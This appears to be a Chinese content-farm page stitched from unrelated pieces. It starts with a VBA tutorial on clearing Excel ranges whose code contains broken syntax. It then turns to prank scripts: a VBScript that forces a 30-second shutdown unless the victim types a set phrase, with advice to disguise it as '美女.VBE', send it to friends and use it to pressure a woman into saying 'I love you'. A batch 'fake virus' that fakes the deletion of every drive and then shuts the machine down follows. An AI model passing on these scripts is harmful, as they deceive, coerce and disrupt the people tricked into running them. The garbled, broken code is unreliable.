本文目录一览：
用vba清除格式，怎么写
在写VBA代码的时候，经常会用到清零。所谓清零就是清空数据。为什么要清空数据呢？目的就是马上要有新的数据填充进来，以免新填入的数据错误。如果你是VBA的新手，务必要养成这个习惯，当有新的数据填充时，在此前要将旧的数据清空，切记切记。
在实际的代码书写中，会用到各式各样的方法进行数据的清空。下面就各个程序中的源代码拿来和大家分享。由于是源代码，只是截取了其中的部分，没有涉及到其他的操作，代码可能不能运行，如果要测试需要放在实际的代码环境中。
代码一：
20 Dim ws As Worksheet
21 Dim wb As Workbook
22 Set wb = ThisWorkbook '指定工作簿
23 Set ws = wb.Sheets("TT") '指定工作表名称
24 HANG = "a2:P3000"
25 ws.Range(HANG).Clear
代码讲解：首先设定行单元格的范围，然后CLEAR.
代码二
20 Dim ws As Worksheet
21 Dim wb As Workbook
22 Set wb = ThisWorkbook '指定工作簿
23 Set ws = wb.Sheets("TT") '指定工作表名称
24 HANG = "a2:P3000"
25 ws.Range(HANG). ClearContents
代码讲解: 首先设定行单元格的范围，然后ClearContents
代码三：
10 Sheets("TT").Selecct
11 Rows("3:200").Select
12 Selection.Delete
代码讲解：对固定的行数进行选择，然后统统删除，一了百了。
代码四：
10 Dim ws As Worksheet
11 Dim wb As Workbook
12 Set wb = ThisWorkbook '指定工作簿
13 Set ws = wb.Sheets("cz") '指定工作表名称
14 n = ws.Range("A65536").End(xlUp).Row
15 If n 3 Then
16 HANG = "2:" n
17 wb.Sheets("cz").Rows(HANG).ClearContents
18 End If
代码讲解：首先判断非空的行数，然后再ClearContents
代码五：
11 Sheets("TT").Selecct
12 Range("A2:j3000").Clear
代码讲解：直接对已知的区域进行CLEAR
上面分别讲了五种常见代码的写法，这五种方法其实也有相同之处。不再多说，这里再给大家讲解的是如下几点：
1 首先要判断是对已知固定区域的清空还是非固定区域的清空。如果是已知的固定区域，直接就写清区域范围即可；如果是非固定区域，那么就要判断这个区域的范围了，可以参考上面的代码四。
2 清空的方法，无外乎三种，delete——很直接、干净、彻底地删除一切数据，不拖泥带水；clear——清除所选择范围内的数据及格式；ClearContents——清除所选择范围内的数据。
3 如果是删除行，要判断确实删除的资料对于要录入的资料没有不良的影响。不要误删除。同时，如果采用的是循环语句，删除后的行数变化要考虑到。
4 判断要删除或者清除的区域时，可以先判断一下需要录入的数据量多大，如果是小于3000行，那么就直接录入3000，可以避免再次的判断，节约时间。
5 在清零处理的时候也要考虑到程序的可视性，增加select语句。
上述的几点在写程序时要特别的注意。
今日内容回向：
1．VBA清空的代码中核心步骤有两个，哪两个？
2．delete clear 有什么不同？clear 和clear Contents有什么不同？
3．delete 可以用clear代替吗？反过来呢？
分享成果，随喜正能量
629阅读
搜索
初学编程100个代码
excel十大必背函数
黑客编程全套教程
装逼代码大全100个
100套excel vba模板
vb2010excel编程实例
手机QQ的整人代码大全
第一步，将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自
第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）
如果谁运行了这个QQ炸弹，在30秒后会自动关机。
下面说一下使用方法：
最简单的使用方法是，你直接发给好友，让他运行，然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊！")
WScript.Echo("推荐你来的肯定是个坏蛋！")
WScript.Echo("欢迎来到被整软件站！")
WScript.Echo("是谁设计的？")
WScript.Echo("Is me")
WScript.Echo("你好，你要点30次确定哦！")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
微信装x代码是什么？
1、ohh：留在我身边
2、Mi manchi：我想你
3、manchi ：想念你
4、lch will mit dir sein：我想和你一起
5、ich liebe dich：我爱你
以使用”我想和你一起“的代码”lch will mit dir sein“为例，具体操作使用步骤如下：
一、首先选择手机桌面上的微信客户端进入微信，如下图所示：
二、然后选择一个需要使用表白代码的对象点击开启聊天框，如下图所示：
三、然后输入表白代码”lch will mit dir sein“后点击发送按钮，如下图所示：
四、然后在所发送的代码内容出按2秒后出现下拉菜单，选择红色箭头所指的”翻译“功能，如下图所示：
五、这时系统就会自动将代码的含义翻译出来，如下图所示：
装黑客几个代码手机
手机操作不了。
电脑输入关键代码就可以了。手机目前没有出黑客类软件，手机操作是黑客的晋级操作，通过电脑连接手机。
如何更好的装逼 黑客
在电脑上安装一个名为BlackArch的操作系统吧，这个系统用于网络安全渗（入）透（侵）测试，而且它的操作界面是一种轻量级Linux桌面环境，很有科幻电影的感觉，是菜鸟黑客的装逼神器（大神就不需要装逼了吧）。
求Bat整人代码。。很搞笑很吓人但是很安全！
@echo
off
color
0b
mode
con:
cols=80
lines=20
@title=超级病毒
for
/L
%%a
in
(
3,-1,0
)
do
(
for
/l
%%a
in
(1,1,8)
do
echo\
echo
入侵倒计时
%%a
秒
ping
-n
2
127.1
1nul
2nul
cls
)
cls
color
40
for
/l
%%a
in
(1,1,8)
do
echo\
echo
正在遭受黑客入侵...
ping
127.1
/n
3
nul
echo.
echo
警告！警告！电脑已被入侵！！！
ping
127.1
/n
3
nul
cls
echo.
echo.
echo.
echo
正在删除G盘所有文件...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^nul
ping/n
1
127.1
nul
)
echo
删除完毕
echo.
echo
正在删除E盘所有文件...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^nul
ping/n
1
127.1
nul
)
echo
删除完毕
echo.
echo
正在删除D盘所有文件...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^nul
ping/n
1
127.1
nul
)
echo
删除完毕
echo.
echo
正在删除C盘所有文件...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^nul
ping/n
1
127.1
nul
)
echo
删除完毕
echo.
echo
正在删除分区表...
set
/p
a="============================================================================
=="nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^nul
ping/n
1
127.1
nul
)
echo.
echo
删除完毕
echo.
echo.
echo
正在遭受黑客的炸弹袭击！
echo.
echo
电脑崩溃！准备关闭系统！
ping
127.1
/n
3
nul
shutdown
-s
-t
nulp
/p